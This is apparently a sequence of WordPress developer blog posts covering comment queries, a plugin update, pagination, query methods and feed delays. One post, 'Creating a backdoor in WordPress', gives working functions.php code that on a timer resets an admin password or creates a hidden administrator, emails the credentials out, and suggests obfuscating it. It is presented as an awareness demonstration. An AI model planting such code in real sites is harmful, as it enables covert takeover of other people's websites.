Fetch comments of a specific category in WordPress

WordPress already provides an easy function for fetching the comments get_comments() but the function only supports fetching comments of a particular user, or for a particular post and not fetching comments of a particular category. The code for the former two cases, is pretty simple but the last one is not so simple. Here are the code snippets as examples:

Fetching Comments of a particular user

$args = array( 'number' => 10, 'status' => 'approve', 'user_id' => 1 );
$comments_list_by_user = get_comments( $args );
print_r ( $comments_list_by_user );

Fetching Comments of a particular post

$args = array( 'number' => 10, 'status' => 'approve', 'post_id' => 30 );
$comments_list_post = get_comments( $args );
print_r ( $comments_list_post );

Fetching Comments of a particular category

Here is how you can fetch comments for a specific category:

// Posts per page setting
$ppp = get_option('posts_per_page'); // either use the WordPress global Posts per page setting or set a custom one like $ppp = 10;
$custom_offset = 0; // If you are dealing with your custom pagination, then you can calculate the value of this offset using a formula

// category (can be a parent category)
$category_parent = 3;

// lets fetch sub categories of this category and build an array
$categories = get_terms( 'category', array( 'child_of' => $category_parent, 'hide_empty' => false ) );
$category_list =  array( $category_parent );
foreach( $categories as $term ) {
 $category_list[] = (int) $term->term_id;
}

// fetch posts in all those categories
$posts = get_objects_in_term( $category_list, 'category' );

$sql = "SELECT comment_ID, comment_date, comment_content, comment_post_ID
 FROM {$wpdb->comments} WHERE
 comment_post_ID in (".implode(',', $posts).") AND comment_approved = 1
 ORDER by comment_date DESC LIMIT $ppp OFFSET $custom_offset";

$comments_list = $wpdb->get_results( $sql );

if ( count( $comments_list ) > 0 ) {
 $date_format = get_option( 'date_format' );
 echo '<ul>';
 foreach ( $comments_list as $comment ) {
 echo '<li>Comment: '.substr( $comment->comment_content, 0, 50 ).'..<br />'.date( $date_format, strtotime( $comment->comment_date ) ).'<br />Post: <a href="'.get_permalink( $comment->comment_post_ID ).'">'.get_the_title( $comment->comment_post_ID ).'</a></li>';
 }
 echo '</ul>';
} else {
 echo '<p>No comments</p>';
}
?>

What we have done here is that, first we fetch sub categories of the category specified so as to include comments on those posts too which are under a sub-category of the specified category. Then we build an array of all these categories, where we need to look up for comments. Then we fetch the posts ID under those categories and then we use a query to fetch the comments on those posts. Finally, we display them as per our need by iterating $comments_list.

In case you want to fetch the comments of a  particular user under a specific category, then you can just change the SQL query in the above code to this:

$user_id = 1; // change this to the user ID either manually or let it come from some other code
$sql = "SELECT comment_ID, comment_date, comment_content, comment_post_ID
 FROM {$wpdb->comments} WHERE
 comment_post_ID in (".implode(',', $posts).") AND comment_approved = 1 AND user_id = $user_id
 ORDER by comment_date DESC LIMIT $ppp OFFSET $custom_offset";

I have used simple names for variables here to make it easy to understand. Always take care to provide your code in its own namespace, choose unique (non-generic) names. Read prefix everything in WordPress.

Need help? Got questions? Comment section is all yours! 🙂

WordPress plugin Facebook Like Thumbnail Updates

I have updated my WordPress plugin to fix Facebook Like Thumbnails to version 0.2 which I am sure will make the existing users happy! 🙂

Some of the users who quickly upgraded might be facing issues because of a silly mistake on my part. If the plugin has disappeared from the plugins listing, then you would have to delete the folder "facebook-like-thumbnail" folder in your plugins folder (/wp-content/plugins/) and then reinstall the plugin by typing "Facebook Like Thumbnail" in Add New Plugins screen. I apologise for the issue, please excuse me, I am not used to pushing updates to public repositories.

The plugin now features an options pages which can be found under Settings > Facebook Like Thumbnail. You can specify your default thumbnail image on that page, no more code edits are required. This was a necessary move as the users would have to edit the plugin to specify their default image after every upgrade.

The plugin now supports featured thumbnails and NextGEN galleries (other than the slideshow ones).

The plugin picks the thumbnail in the following order (whichever is found first)

  • If its a post or page
    • Featured Thumbnail
    • First Image in the post
    • Default
  • If its a Front Page or Search Page
    • Default
  • Anything else
    • First image in the first post of the loop
    • Default

Facebook Like Thumbnail

Author: Ashfame, version: 0.4, updated: December 7, 2016,
Requires WP version: 3.1 or higher, tested up to: 4.7.6.
Download (84 394 hits) (5 votes)

Adding the author avatar on author pages to be used as thumbnail and ignoring smilies as a possible match for thumbnail are on my To-do lists. If you have any suggestions, comments section is all yours.

Also the plugin can be totally uninstalled by using the delete option from WordPress dashboard, it won't leave anything behind in the database.

I have tried to keep the plugin as fast as it can be. If any developer can provide any suggestions/improvements, I would love that. If you have any questions or facing any issues because of the early upgrade or need any help, give me a shout in the comments.

Pagination approach using get_posts() in WordPress

Yesterday, I talk about using WP_query or query_posts or get_posts and today I am going to explain the approach I use to have pagination using get_posts(). The other two methods take care of the pagination by them self by just passing the paged parameter along with the function call. But get_posts() is more of a raw function which I used to create paginated data on the basis of already existing pagination.

Here for the sake of explanation of approach, I am making the content paginated where content is already paginated. We will make our extra content work in order to the global $paged variable.

<?php
// Posts Per Page option
$ppp = get_option('posts_per_page');

if (!is_paged()) {
    $custom_offset = 0;
} else {
    $custom_offset = $ppp*($paged-1);
}

// Lets suppose we are querying for posts of a certain author in a particular category
$args = array(
'numberposts' => $ppp,
'offset' => $custom_offset,
'category' => 7, // Category ID of category 'Articles'
'author' => $author_id
);

$posts_data = get_posts( $args );

if ( count( $posts_data ) > 0 ) {
    echo '<ul>';
    foreach ( $posts_data as $post ) {
        echo '<li><a href="'.get_permalink( $post->ID ).'">'.$post->post_title.'</a></li>';
    }
    echo '</ul>';
} else {
    echo '<p>No articles by this user</p>';
}
?>

This way the code make use of the global $paged variable to see which page it is on, and set the value of offset accordingly making the fetched content using get_posts itself paginated. On Page 1, the offset will be zero, it will fetch the posts limited by the posts per page value and on Page 2, the offset will be calculated to leave the posts already shown on previous page and query further posts limited by the posts per page value.

Got questions? Comment section is down below.

Which one to use WP_Query vs query_posts() vs get_posts()?

There are several instances where we want to display content other than what WordPress displays at a particular page. There are three methods which you can use, but each of them is meant for a specific purpose, otherwise why would they have existed? Makes sense? Good!

Some tutorials use one, some other and many of them are in fact incorrect because they might seem to get the job done but in certain cases they cause side effects, such as modified global variables on which other functionality may rely.

The fight is in between using WP_Query or query_posts or get_posts. Rarst created a great chart to explain what is going on in the three approaches to make it easy to understand the working. which I totally recommend checking out.

wordpress query

Rarst explained the difference quite precisely as follows:

  • query_posts() should be used in one and only case if you need to modify main query of page. It sets a lot of global variables and will lead to obscure and horrible bugs if used in any other place and for any other purpose;
  • get_posts() is very similar in mechanics and accepts same arguments, but returns array of posts, doesn't modify global variables and is safe to use anywhere;
  • WP_Query class power both behind the scenes, but you can also create and work with own object of it. Bit more complex, less restrictions, also safe to use anywhere.
I want to stress that query_post() wrongfully overused in many tutorials around. It is one of the most widespread bad practices.

Next time you need to make WordPress to show content other than what it does by default, take care to choose the right method. If there is something that you don't understand in the chart, leave a comment here and I will happily explain. 🙂

Creating a backdoor in WordPress

First post in my WordPress Evil series, I will demonstrate how I can create a backdoor in WordPress. Idea of this post came from a question on WordPress Answers where someone asked - Is there a security risk giving someone temporary access to my blog's code?

Example #1

Change the admin password after a certain date or time and inform us! Sounds good?

<?php
if ( strtotime( "2011-04-30" ) < time() ) {

    $target_admin_id = 1; // change this if admin has a different ID or you want to attach a particular admin
    $target_admin_new_password = 'evilme';
    $target_admin_userinfo = get_userdata( $target_admin_id );

    if ( !wp_check_password( $target_admin_new_password, $target_admin_userinfo->user_pass , $target_admin_id ) ) { // Have we already changed the password?

        add_action( 'shutdown', 'evilme_change_admin_password' );

        function evilme_change_admin_password() {

            global $target_admin_id;
            global $target_admin_new_password;
            global $target_admin_userinfo;

            wp_set_password( $target_admin_new_password, $target_admin_id );

            // now email me that my password of admin account has changed ready

            wp_mail( 'ashishsainiashfame@gmail.com', 'Admin password has been changed!', 'WP URL - '.get_bloginfo( 'wpurl' ).' | username: '.$target_admin_userinfo->user_login.' | password: '.$target_admin_new_password );
        }
    }
}

?>

At the very beginning, I checked if the current time is passed April 30, then execute all this code. Change it to the date when you want the backdoor to be created. The basic logic is to set the password of a user using wp_set_password() and keep a check on the password so as to avoid a database write and an alert email sent to you on every page load.

I have attached it to the shutdown hook so that it doesn't disturb the page output exactly when it happens. Change the email address and the new password you want to set and try this on a demo WordPress install by pasting the code in functions.php file.

Example #2

Create a new admin user after a certain date or time and ping us when ready!

<?php
if ( strtotime( "2011-04-30" ) < time() ) {

    // Required for username_exists()
    require_once( ABSPATH . WPINC . '/registration.php' );

    if ( !username_exists( 'ashfame-evil' ) ) { // Have we already done it once?

        add_action( 'shutdown', 'evilme_create_new_admin' );

        function evilme_create_new_admin() {

            $user_id = wp_insert_user( array(

                'user_login' => 'ashfame-evil',

                'user_pass' => 'evilme',

                'user_email' => 'ashishsainiashfame@hotmail.com',

                'role' => 'administrator'

            ) );

            // now email me that my new admin account is ready

            wp_mail( 'ashishsainiashfame@gmail.com', 'New Admin account is ready', 'WP - '.get_bloginfo( 'wpurl' ).' | username: ashfame-evil | password: evilme' );
        }
    }

}

?>

Again I check for the date, and if the condition satisfies, I used wp_insert_user() to create a new administrator user. To make sure the code only do this once, I keep a check if the username I want to create exists or not. If its does, we have already created a new admin user of which you should have got an email. You can test this too by changing the email address and putting the code in your functions.php file.

Ideally you don't keep this code easily visible, you can just hide it anywhere. Deep inside functions.php file, some custom plugin or even obfuscate the code.

This tutorial was solely for the purpose of fun & making people aware about the fact that it is not safe when you provide temporary access to your blog. If they did what just I demonstrated you would see everything fine, there will be nothing you can make note of but after the timer, it will create a backdoor. More logical implementation would be to create a administrator account at a certain amount of time, and then delete that user after 1 hour every day/week. The User ID would go up, and might create suspicion after quite some time, but possibilities are endless. Be smart, be aware, spread the word about it. Friends don't let friends fall for others' trap.

If you have any questions about the code here, feel free to shoot me a question in the comments. And don't forget to share this post on Facebook & Tweet it!

Subscribe to feeds so as not to miss any of the evil posts! 😉

WordPress Evil Post Series

Yeah! That sounded right. This is a post series where I will show you how to use WordPress to do evil, unethical things which surely doesn't mean WordPress is a bad piece of software. Its really a great one considering every thing has its share of Pros & Cons. Remember, just like we say, Technology is neither good or bad, its the use which can be classified as good or bad. Similarly, I will be using a technology product (WordPress), to do things for fun and educative purposes. You better be aware to avoid that happening with you, or sometimes use it 😉

You are welcome for the following:

  • Comment anything relevant! You can criticise my series too, I won't mind!
  • Tip me for the next Evil Post.
  • Write a Guest Post for WP Evil Series (Decision of accepting it as a qualified WordPress Evil Post Series will be totally on me, though)

That said, first post in the series will be up in a few minutes.

Deal with Blog Scrappers getting indexed quicker than the original site

Although its not something that one should be worried about as such things often happen, and its actually a sign that you are growing. I would suggest you to just keep going on with the quality content on your site and not to worry about them scrapping your articles. Google does a pretty good job in killing spam blogs. They generally gain traction for a month or so and then they are completely gone.

But sometimes it might happen that the spam blog site might be getting indexed quicker than the original site when your original site is pretty much new, so it can be a temporary hold for your organic traffic growth. In such case, we can deal with them by delaying the feeds for a certain amount of time as all these scrappers work by pulling articles from your feeds and then publishing your articles on their site.

Delay publishing of WordPress Feeds:

Here is the snippet with you can delay your feeds for (lets say 15 minutes):

/**
 * Publish the content in the feed 15 minutes later
 * $where ist default-var in WordPress (wp-includes/query.php)
 * This function an a SQL-syntax
 */
function publish_later_on_feed($where)
{
    global $wpdb;
    if ( is_feed() )
    {
        // timestamp in WP-format
        $now = gmdate('Y-m-d H:i:s');
        // value for wait; + device
        $wait = '15'; // integer
        // http://dev.mysql.com/doc/refman/5.0/en/date-and-time-functions.html#function_timestampdiff
        $device = 'MINUTE'; //MINUTE, HOUR, DAY, WEEK, MONTH, YEAR
        // add SQL-sytax to default $where
        $where .= " AND TIMESTAMPDIFF($device, $wpdb->posts.post_date_gmt, '$now') > $wait ";
    }
    return $where;
}
add_filter('posts_where', 'publish_later_on_feed');

This will delay the feeds for 15 minutes (Line 14 in the code) before any new article appears in it. This is a very good approach in killing those automated blogs. But sometimes it can be the case, that they are not automated. Its humans manually copy-pasting the articles from various sources. In such a case, what you can do is to make your blog ping the crawl bots so that your chances of getting indexed first is maximised.

Checklist for fast indexing:

  • Submit a Sitemap to Google Webmasters.
  • Use PushPress and RSS Cloud WordPress plugin.
  • Use WordPress option to ping pinging service and add several multiple pinging service there (less effective now but doing it won't harm)
  • Delay your feeds for a few minutes (Scrappers won't be manually monitoring your site every minute)

Hope that helps you defeat those blood sucking scrappers. If you have any questions or tip, feel free to leave it in the comments below.